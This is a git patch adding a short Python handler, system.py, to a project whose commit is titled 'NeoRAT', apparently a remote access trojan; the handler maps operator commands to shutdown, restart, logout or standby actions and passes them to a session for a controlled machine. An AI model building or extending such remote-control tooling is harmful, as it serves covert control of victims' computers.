From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/session/server_handling/system.py | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 domestic/session/server_handling/system.py (limited to 'domestic/session/server_handling/system.py') diff --git a/domestic/session/server_handling/system.py b/domestic/session/server_handling/system.py new file mode 100644 index 0000000..f505dbf --- /dev/null +++ b/domestic/session/server_handling/system.py @@ -0,0 +1,29 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.global_state import * + + +@error_exception_handling +def system(message): + shutdown = validate_dict_key(message, 'shutdown') + restart = validate_dict_key(message, 'restart') + logout = validate_dict_key(message, 'logout') + standby = validate_dict_key(message, 'standby') + + if shutdown: + message['action_type'] = 'shutdown' + del message['shutdown'] + elif restart: + message['action_type'] = 'restart' + del message['restart'] + elif logout: + message['action_type'] = 'logout' + del message['logout'] + elif standby: + message['action_type'] = 'standby' + del message['standby'] + else: + raise Exception('Error message') + + session_message(message) \ No newline at end of file -- cgit v1.2.3